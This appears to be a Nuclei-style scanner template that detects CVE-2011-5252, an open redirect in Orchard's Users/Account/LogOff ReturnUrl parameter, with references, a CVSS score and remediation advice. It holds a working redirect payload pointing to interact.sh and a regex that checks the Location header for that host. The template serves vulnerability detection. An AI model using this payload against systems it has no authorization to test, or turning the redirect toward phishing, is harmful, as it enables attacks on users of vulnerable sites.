id: CVE-2011-5252

info:
  name: Orchard 'ReturnUrl' Parameter URI - Open Redirect
  author: ctflearner
  severity: medium
  description: |
    Open redirect vulnerability in Users/Account/LogOff in Orchard 1.0.x before 1.0.21, 1.1.x before 1.1.31, 1.2.x before 1.2.42, and 1.3.x before 1.3.10 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the ReturnUrl parameter.
  remediation: |
    Validate and sanitize user input for the 'ReturnUrl' parameter to prevent open redirect vulnerabilities.
  reference:
    - https://www.exploit-db.com/exploits/36493
    - https://nvd.nist.gov/vuln/detail/CVE-2011-5252
    - https://www.invicti.com/web-applications-advisories/open-redirection-vulnerability-in-orchard/
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72110
    - http://orchard.codeplex.com/discussions/283667
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:N
    cvss-score: 5.8
    cve-id: CVE-2011-5252
    cwe-id: CWE-20
    epss-score: 0.02747
    epss-percentile: 0.89422
    cpe: cpe:2.3:a:orchardproject:orchard:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: orchardproject
    product: orchard
  tags: cve,cve2011,redirect,orchard

http:
  - method: GET
    path:
      - "{{BaseURL}}/orchard/Users/Account/LogOff?ReturnUrl=%2f%2fhttp://interact.sh%3f"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:http?://|//)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$'

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